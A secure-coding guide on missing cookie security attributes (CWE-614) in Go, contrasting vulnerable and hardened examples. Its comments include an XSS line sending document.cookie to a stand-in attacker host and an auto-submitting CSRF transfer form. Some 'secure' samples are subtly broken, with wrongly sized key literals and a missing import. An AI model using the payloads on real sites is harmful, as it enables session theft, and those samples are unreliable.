Skip to content

CWE-614: Sensitive Cookie Without Secure Attribute - Go

Overview

Sensitive cookie security vulnerabilities in Go applications occur when authentication cookies, session tokens, or other sensitive data stored in cookies lack proper security attributes, exposing them to interception, tampering, or unauthorized access. HTTP cookies are a primary mechanism for maintaining session state in web applications, making cookie security critical. Go's http.SetCookie() function sets cookies but provides no default security attributes - developers must explicitly configure Secure, HttpOnly, and SameSite flags.

The Secure flag ensures cookies are only transmitted over HTTPS, preventing interception on insecure networks. Without it, session cookies sent over HTTP can be captured by attackers performing man-in-the-middle attacks (coffee shop WiFi, compromised routers, ISP surveillance). The HttpOnly flag prevents JavaScript access to cookies, mitigating XSS-based session theft. SameSite prevents cookies from being sent with cross-site requests, defending against CSRF attacks. Domain and Path attributes control where cookies are sent, with overly broad scopes enabling subdomain attacks.

Additional risks include excessive cookie lifetimes (long MaxAge or far-future Expires), storing sensitive data unencrypted in cookies, missing signature/integrity protection allowing cookie tampering, and incorrect domain settings enabling cookie theft via related domains. Cookies containing personally identifiable information (PII), authentication tokens, or business-critical data without encryption and integrity protection violate data protection regulations (GDPR, CCPA).

Primary Defence: Set Secure: true, HttpOnly: true, and SameSite: http.SameSiteStrictMode (or Lax) on all authentication and session cookies. Use short lifetimes (MaxAge of hours, not days/weeks). Sign cookies with HMAC or use authenticated encryption for sensitive data. Limit Domain and Path scope appropriately.

Common Vulnerable Patterns

Missing Secure Flag

// VULNERABLE - Cookie without Secure flag
package main

import (
    "net/http"
    "time"
)

func loginHandler(w http.ResponseWriter, r *http.Request) {
    username := r.FormValue("username")
    password := r.FormValue("password")

    if authenticate(username, password) {
        sessionID := generateSessionID()

        // DANGEROUS: Missing Secure flag
        http.SetCookie(w, &http.Cookie{
            Name:     "session_id",
            Value:    sessionID,
            Path:     "/",
            MaxAge:   3600,
            HttpOnly: true,
            // Missing: Secure: true
        })

        http.Redirect(w, r, "/dashboard", http.StatusSeeOther)
    }
}

// ATTACK:
// 1. User authenticates over HTTPS, receives session cookie
// 2. User clicks link to http:// page (accidentally or via attacker link)
// 3. Browser sends session cookie over unencrypted HTTP
// 4. Attacker on network captures cookie
// 5. Attacker hijacks session

Why this is vulnerable: Without Secure: true, browsers send cookies over both HTTP and HTTPS connections. Even if the application is HTTPS-only, mixed content (loading HTTP resources), user typos (typing http:// instead of https://), or attacker-controlled links can trigger HTTP requests. The browser automatically includes cookies in these requests, sending the session token in cleartext. Attackers on the network path (public WiFi, compromised router, malicious ISP) capture the cookie and gain full session access. Always set Secure: true for sensitive cookies.

Missing HttpOnly Flag

// VULNERABLE - JavaScript-accessible session cookie
func createSession(w http.ResponseWriter, userID string) {
    sessionToken := generateToken()

    http.SetCookie(w, &http.Cookie{
        Name:   "session",
        Value:  sessionToken,
        Secure: true,
        // Missing: HttpOnly: true
    })
}

// ATTACK (via XSS):
// <script>
//   fetch('https://attacker.com/steal?cookie=' + document.cookie);
// </script>
// Attacker steals session cookie and hijacks user account

Why this is vulnerable: Without HttpOnly: true, JavaScript can read cookies via document.cookie. If the application has any XSS vulnerability (reflected XSS, stored XSS, DOM-based XSS), attackers inject JavaScript that exfiltrates session cookies to attacker-controlled servers. The attacker then uses the stolen session to impersonate the user. HttpOnly provides defense-in-depth - even if XSS vulnerabilities exist, session cookies remain protected. There's no legitimate reason for client-side JavaScript to access authentication cookies.

Missing SameSite Attribute

// VULNERABLE - No CSRF protection via SameSite
func setSessionCookie(w http.ResponseWriter, session string) {
    http.SetCookie(w, &http.Cookie{
        Name:     "session_id",
        Value:    session,
        Secure:   true,
        HttpOnly: true,
        // Missing: SameSite
    })
}

// ATTACK (CSRF):
// Attacker creates malicious site with:
// <form action="https://victim-site.com/transfer" method="POST">
//   <input name="amount" value="10000">
//   <input name="to_account" value="attacker">
// </form>
// <script>document.forms[0].submit();</script>
//
// When victim visits attacker site, browser sends session cookie
// Form submits, transfers money to attacker

Why this is vulnerable: Without SameSite, browsers send cookies with cross-site requests (requests initiated from other domains). Attackers create malicious sites with forms or JavaScript that trigger requests to the victim application. The browser automatically includes session cookies, allowing the attacker to perform actions as the authenticated user (CSRF attacks). SameSite=Strict prevents cookies on all cross-site requests. SameSite=Lax allows cookies on top-level GET navigations but blocks POST/PUT/DELETE, providing CSRF protection while preserving legitimate cross-site links.

// VULNERABLE - Excessive cookie lifetime
func createLongLivedSession(w http.ResponseWriter, userID string) {
    sessionToken := generateToken()

    http.SetCookie(w, &http.Cookie{
        Name:     "session",
        Value:    sessionToken,
        Path:     "/",
        MaxAge:   86400 * 365, // DANGEROUS: 1 year
        Secure:   true,
        HttpOnly: true,
        SameSite: http.SameSiteStrictMode,
    })
}

// RISKS:
// 1. If cookie is stolen, attacker has access for up to 1 year
// 2. User logs out but cookie remains valid until expiry
// 3. Shared/public computers retain logged-in sessions
// 4. Harder to detect and revoke compromised sessions

Why this is vulnerable: Long-lived sessions increase the window of opportunity for session theft. If a cookie is stolen (XSS, network interception before HTTPS, malware), attackers have access for the entire MaxAge period. Users expect logout to end sessions, but client-side cookie expiry doesn't invalidate server-side sessions. On shared computers, long-lived cookies allow subsequent users to access accounts. Shorter lifetimes (1-24 hours) limit exposure - stolen cookies expire quickly, and server-side session validation can detect suspicious activity. For "remember me" functionality, use separate long-lived refresh tokens with additional security checks.

Insecure Domain Scope

// VULNERABLE - Overly broad domain scope
func setCookieWrongDomain(w http.ResponseWriter, token string) {
    http.SetCookie(w, &http.Cookie{
        Name:     "auth_token",
        Value:    token,
        Domain:   ".example.com", // DANGEROUS: Accessible to all subdomains
        Path:     "/",
        Secure:   true,
        HttpOnly: true,
    })
}

// ATTACK:
// If any subdomain of example.com is compromised:
// - attacker.example.com (attacker-registered subdomain)
// - old-app.example.com (legacy app with vulnerabilities)
// - staging.example.com (dev environment with weak security)
// Attacker can read/steal auth_token cookie

Why this is vulnerable: Setting Domain to a parent domain (.example.com) makes cookies accessible to all subdomains. If any subdomain is compromised (vulnerable legacy application, attacker-controlled subdomain, development environment with weak security), the auth cookie is exposed. Attackers can register subdomains if DNS is misconfigured, or exploit vulnerabilities in other applications on subdomains. The cookie is sent to all subdomains automatically, including those the developer isn't aware of. Unless subdomain sharing is explicitly required, omit the Domain attribute (defaults to exact host match) or set it to the specific subdomain.

Secure Patterns

// SECURE - Session cookie with all security attributes
package main

import (
    "crypto/rand"
    "encoding/base64"
    "io"
    "net/http"
    "time"
)

func generateSecureSessionID() (string, error) {
    bytes := make([]byte, 32)
    if _, err := io.ReadFull(rand.Reader, bytes); err != nil {
        return "", err
    }
    return base64.URLEncoding.EncodeToString(bytes), nil
}

func createSecureSession(w http.ResponseWriter, userID string) error {
    sessionID, err := generateSecureSessionID()
    if err != nil {
        return err
    }

    // Store session server-side
    storeSession(sessionID, userID)

    // SECURE: Session cookie with all security attributes
    http.SetCookie(w, &http.Cookie{
        Name:     "session_id",
        Value:    sessionID,
        Path:     "/",
        MaxAge:   3600,                         // 1 hour
        Secure:   true,                         // HTTPS only
        HttpOnly: true,                         // No JavaScript access
        SameSite: http.SameSiteStrictMode,      // CSRF protection
        // Domain not set - defaults to exact host match
    })

    return nil
}

func storeSession(sessionID, userID string) {
    // Implementation: Redis, database, etc.
}

func authenticate(username, password string) bool {
    return true
}

func generateSessionID() string {
    return "session_123"
}

func generateToken() string {
    return "token_123"
}

Why this works: All security attributes are set correctly. Secure: true prevents transmission over HTTP. HttpOnly: true blocks JavaScript access, mitigating XSS-based theft. SameSite: http.SameSiteStrictMode prevents CSRF attacks by not sending cookies with cross-site requests. MaxAge: 3600 limits session lifetime to 1 hour, reducing exposure window. Path: "/" scopes cookie to entire application. Domain is omitted, defaulting to exact hostname match (most secure). The session ID is cryptographically random with high entropy. Session data is stored server-side, with only the random ID in the cookie.

SameSite=Lax for Better UX

// SECURE - SameSite=Lax for link compatibility
func createSessionWithLax(w http.ResponseWriter, userID string) error {
    sessionID, err := generateSecureSessionID()
    if err != nil {
        return err
    }

    storeSession(sessionID, userID)

    http.SetCookie(w, &http.Cookie{
        Name:     "session_id",
        Value:    sessionID,
        Path:     "/",
        MaxAge:   7200,                         // 2 hours
        Secure:   true,
        HttpOnly: true,
        SameSite: http.SameSiteLaxMode,         // Allow top-level navigation
    })

    return nil
}

Why this works: SameSite=Lax provides CSRF protection while allowing cookies on top-level GET requests (clicking links from external sites). This prevents the most common CSRF attacks (POST forms) while not breaking legitimate cross-site navigation. Users clicking email links or bookmarks can access authenticated pages. State-changing operations (POST, PUT, DELETE) still require CSRF tokens since cookies aren't sent with those cross-site requests. Lax is a good balance between security and usability for most applications. Use Strict for high-security applications where cross-site navigation isn't needed.

// SECURE - Signed cookie to prevent tampering
import (
    "crypto/hmac"
    "crypto/sha256"
    "encoding/base64"
    "encoding/json"
    "net/http"
    "strings"
    "time"
)

var cookieSecret = []byte("your-secret-key-minimum-32-bytes-long")

type UserData struct {
    UserID   string    `json:"user_id"`
    Username string    `json:"username"`
    IssuedAt time.Time `json:"issued_at"`
}

func createSignedCookie(w http.ResponseWriter, userData *UserData) error {
    // Serialize user data
    data, err := json.Marshal(userData)
    if err != nil {
        return err
    }

    // Base64 encode
    encoded := base64.URLEncoding.EncodeToString(data)

    // SECURE: Generate HMAC signature
    mac := hmac.New(sha256.New, cookieSecret)
    mac.Write([]byte(encoded))
    signature := base64.URLEncoding.EncodeToString(mac.Sum(nil))

    // Combine: data.signature
    cookieValue := encoded + "." + signature

    http.SetCookie(w, &http.Cookie{
        Name:     "user_data",
        Value:    cookieValue,
        Path:     "/",
        MaxAge:   3600,
        Secure:   true,
        HttpOnly: true,
        SameSite: http.SameSiteStrictMode,
    })

    return nil
}

func verifySignedCookie(r *http.Request) (*UserData, error) {
    cookie, err := r.Cookie("user_data")
    if err != nil {
        return nil, err
    }

    // Split data and signature
    parts := strings.Split(cookie.Value, ".")
    if len(parts) != 2 {
        return nil, fmt.Errorf("invalid cookie format")
    }

    encoded, providedSig := parts[0], parts[1]

    // SECURE: Verify HMAC signature
    mac := hmac.New(sha256.New, cookieSecret)
    mac.Write([]byte(encoded))
    expectedSig := base64.URLEncoding.EncodeToString(mac.Sum(nil))

    // Constant-time comparison
    if !hmac.Equal([]byte(expectedSig), []byte(providedSig)) {
        return nil, fmt.Errorf("signature verification failed")
    }

    // Decode data
    data, err := base64.URLEncoding.DecodeString(encoded)
    if err != nil {
        return nil, err
    }

    // Unmarshal
    var userData UserData
    if err := json.Unmarshal(data, &userData); err != nil {
        return nil, err
    }

    // Check expiry
    if time.Since(userData.IssuedAt) > time.Hour {
        return nil, fmt.Errorf("cookie expired")
    }

    return &userData, nil
}

Why this works: HMAC-SHA256 signature ensures cookie integrity - any tampering invalidates the signature. Users cannot modify data (like changing user_id to access other accounts) without the secret key. The signature is verified using constant-time comparison to prevent timing attacks. Including IssuedAt timestamp enables server-side expiration checks beyond browser MaxAge. This pattern allows storing limited data client-side while maintaining security. The secret key must be stored securely (environment variable, secrets manager). For sensitive data, use authenticated encryption instead of just signing.

// SECURE - Encrypted cookie for sensitive data
import (
    "crypto/aes"
    "crypto/cipher"
    "crypto/rand"
    "encoding/base64"
    "fmt"
    "io"
    "net/http"
)

var encryptionKey = []byte("32-byte-key-for-AES-256-change-this!")

func createEncryptedCookie(w http.ResponseWriter, data []byte) error {
    // SECURE: Encrypt with AES-256-GCM
    block, err := aes.NewCipher(encryptionKey)
    if err != nil {
        return err
    }

    gcm, err := cipher.NewGCM(block)
    if err != nil {
        return err
    }

    nonce := make([]byte, gcm.NonceSize())
    if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
        return err
    }

    // Encrypt and authenticate
    ciphertext := gcm.Seal(nonce, nonce, data, nil)

    // Encode for cookie
    encoded := base64.URLEncoding.EncodeToString(ciphertext)

    http.SetCookie(w, &http.Cookie{
        Name:     "encrypted_data",
        Value:    encoded,
        Path:     "/",
        MaxAge:   3600,
        Secure:   true,
        HttpOnly: true,
        SameSite: http.SameSiteStrictMode,
    })

    return nil
}

func readEncryptedCookie(r *http.Request) ([]byte, error) {
    cookie, err := r.Cookie("encrypted_data")
    if err != nil {
        return nil, err
    }

    // Decode
    ciphertext, err := base64.URLEncoding.DecodeString(cookie.Value)
    if err != nil {
        return nil, err
    }

    // Decrypt
    block, err := aes.NewCipher(encryptionKey)
    if err != nil {
        return nil, err
    }

    gcm, err := cipher.NewGCM(block)
    if err != nil {
        return nil, err
    }

    nonceSize := gcm.NonceSize()
    if len(ciphertext) < nonceSize {
        return nil, fmt.Errorf("ciphertext too short")
    }

    nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:]

    // SECURE: Decrypt and verify authentication tag
    plaintext, err := gcm.Open(nil, nonce, ciphertext, nil)
    if err != nil {
        return nil, fmt.Errorf("decryption failed: %w", err)
    }

    return plaintext, nil
}

Why this works: AES-256-GCM provides both confidentiality (encryption) and integrity (authentication). Cookie contents are completely hidden from users - they cannot read or modify the data. The authentication tag prevents tampering - any modification causes decryption to fail. Random nonces ensure identical data encrypts to different ciphertexts each time. This is essential for PII, sensitive business data, or any information that must remain confidential even if cookies are intercepted. The encryption key must be 32 bytes, stored securely, and rotated periodically.

Remember Me Token with Additional Security

// SECURE - Remember me token with device binding
import (
    "crypto/rand"
    "crypto/sha256"
    "encoding/base64"
    "io"
    "net/http"
    "time"
)

type RememberMeToken struct {
    TokenHash    string
    UserID       string
    DeviceHash   string
    CreatedAt    time.Time
    ExpiresAt    time.Time
}

func createRememberMeToken(w http.ResponseWriter, r *http.Request, userID string) error {
    // Generate secure random token
    tokenBytes := make([]byte, 32)
    if _, err := io.ReadFull(rand.Reader, tokenBytes); err != nil {
        return err
    }
    token := base64.URLEncoding.EncodeToString(tokenBytes)

    // SECURE: Bind to device characteristics
    deviceFingerprint := r.UserAgent() + r.RemoteAddr
    deviceHash := sha256.Sum256([]byte(deviceFingerprint))

    // Hash token before storing
    tokenHash := sha256.Sum256([]byte(token))

    // Store in database
    rememberMe := &RememberMeToken{
        TokenHash:  base64.URLEncoding.EncodeToString(tokenHash[:]),
        UserID:     userID,
        DeviceHash: base64.URLEncoding.EncodeToString(deviceHash[:]),
        CreatedAt:  time.Now(),
        ExpiresAt:  time.Now().Add(30 * 24 * time.Hour), // 30 days
    }
    storeRememberMeToken(rememberMe)

    // SECURE: Set long-lived cookie with security attributes
    http.SetCookie(w, &http.Cookie{
        Name:     "remember_me",
        Value:    token,
        Path:     "/",
        MaxAge:   30 * 86400,                      // 30 days
        Secure:   true,
        HttpOnly: true,
        SameSite: http.SameSiteLaxMode,
    })

    return nil
}

func validateRememberMeToken(r *http.Request) (string, error) {
    cookie, err := r.Cookie("remember_me")
    if err != nil {
        return "", err
    }

    // Hash provided token
    tokenHash := sha256.Sum256([]byte(cookie.Value))
    tokenHashStr := base64.URLEncoding.EncodeToString(tokenHash[:])

    // Lookup in database
    rememberMe := getRememberMeToken(tokenHashStr)
    if rememberMe == nil {
        return "", fmt.Errorf("invalid token")
    }

    // Check expiry
    if time.Now().After(rememberMe.ExpiresAt) {
        deleteRememberMeToken(tokenHashStr)
        return "", fmt.Errorf("token expired")
    }

    // SECURE: Verify device fingerprint
    deviceFingerprint := r.UserAgent() + r.RemoteAddr
    deviceHash := sha256.Sum256([]byte(deviceFingerprint))
    deviceHashStr := base64.URLEncoding.EncodeToString(deviceHash[:])

    if deviceHashStr != rememberMe.DeviceHash {
        // Device mismatch - possible token theft
        deleteRememberMeToken(tokenHashStr)
        return "", fmt.Errorf("device mismatch")
    }

    return rememberMe.UserID, nil
}

func storeRememberMeToken(token *RememberMeToken) {}
func getRememberMeToken(hash string) *RememberMeToken { return nil }
func deleteRememberMeToken(hash string) {}

Why this works: Remember me tokens are long-lived (30 days) but have additional security measures. Tokens are hashed before database storage (like passwords), protecting against database breaches. Device fingerprinting (User-Agent + IP) provides weak binding - tokens only work from the same device/network, limiting theft impact. Tokens are single-use or rotated periodically in production. Server-side expiry checking ensures tokens can be revoked. This balances convenience (users stay logged in) with security (limited exposure if tokens are stolen). For high-security applications, consider using refresh tokens with shorter-lived access tokens instead.

Framework-Specific Guidance

Gorilla Sessions Secure Configuration

// SECURE - Gorilla sessions with security best practices
package main

import (
    "net/http"

    "github.com/gorilla/sessions"
)

var store *sessions.CookieStore

func init() {
    // SECURE: Use strong random keys
    authKey := []byte("authentication-key-32-bytes-long!")  // HMAC key
    encKey := []byte("encryption-key-also-32-bytes-long!")   // AES-256 key

    store = sessions.NewCookieStore(authKey, encKey)

    // SECURE: Configure session options
    store.Options = &sessions.Options{
        Path:     "/",
        MaxAge:   3600,                         // 1 hour
        Secure:   true,                         // HTTPS only
        HttpOnly: true,                         // No JavaScript
        SameSite: http.SameSiteStrictMode,      // CSRF protection
    }
}

func loginWithGorillaHandler(w http.ResponseWriter, r *http.Request) {
    session, err := store.Get(r, "session-name")
    if err != nil {
        http.Error(w, "Session error", http.StatusInternalServerError)
        return
    }

    // SECURE: Store user ID in encrypted, signed session
    session.Values["user_id"] = "user123"
    session.Values["authenticated"] = true

    // Save session
    if err := session.Save(r, w); err != nil {
        http.Error(w, "Failed to save session", http.StatusInternalServerError)
        return
    }

    w.Write([]byte("Logged in"))
}

Why this works: Gorilla sessions provides automatic cookie encryption (AES) and signing (HMAC) when both keys are provided. The authKey (32+ bytes) signs cookies to detect tampering. The encKey (16, 24, or 32 bytes for AES) encrypts cookie contents. store.Options sets security attributes globally for all sessions. Session data is stored encrypted in cookies, preventing client-side reading or modification. Keys must be stored securely (environment variables) and rotated periodically. This provides secure client-side session storage without a backend store.

Additional Resources